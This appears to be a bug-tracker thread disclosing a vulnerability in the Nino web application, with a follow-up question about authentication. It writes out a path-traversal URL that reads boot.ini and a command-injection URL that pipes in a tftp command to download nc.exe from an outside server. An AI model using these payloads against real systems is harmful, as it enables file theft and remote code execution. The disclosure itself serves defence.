#1 Security Vulnerability in Nino

[richh22]

Nino contains a security issue which allows a
malicious user to retrieve files and execute commands
against the host running Nino. The following URL
shows how a directory transversal vulnerability can
be used to retrieve files that are not usually
accessible:

http://<target>/mod_perl/nino.pl?
action=reporttraffic&template=../../../../../../../../
../boot.ini&year=2006

The above URL retrieves the boot.ini file from the
host running Nino. It is mitigated slightly by the
fact this bug is post-authentication.

Also the same URL can be used to execute code on the
host:

http://<target>/mod_perl/nino.pl?
action=reporttraffic&template=../../../../../../../../
../winnt/system32/tftp.exe -i <tftp server> get
nc.exe nc.exe|&year=2006

This executes tftp.exe to connect to a tftp server
and download the file nc.exe and save it.

[Saurabh Dubey]

Logged In: YES
user_id=1388752

Hi,

Just read about this vulnerability. This functionality
still has to go through a username password authentication
or does it execute without them??

I am also looking for something like an analyses of Nino's
deployment and scalability.

Regards,
Saurabh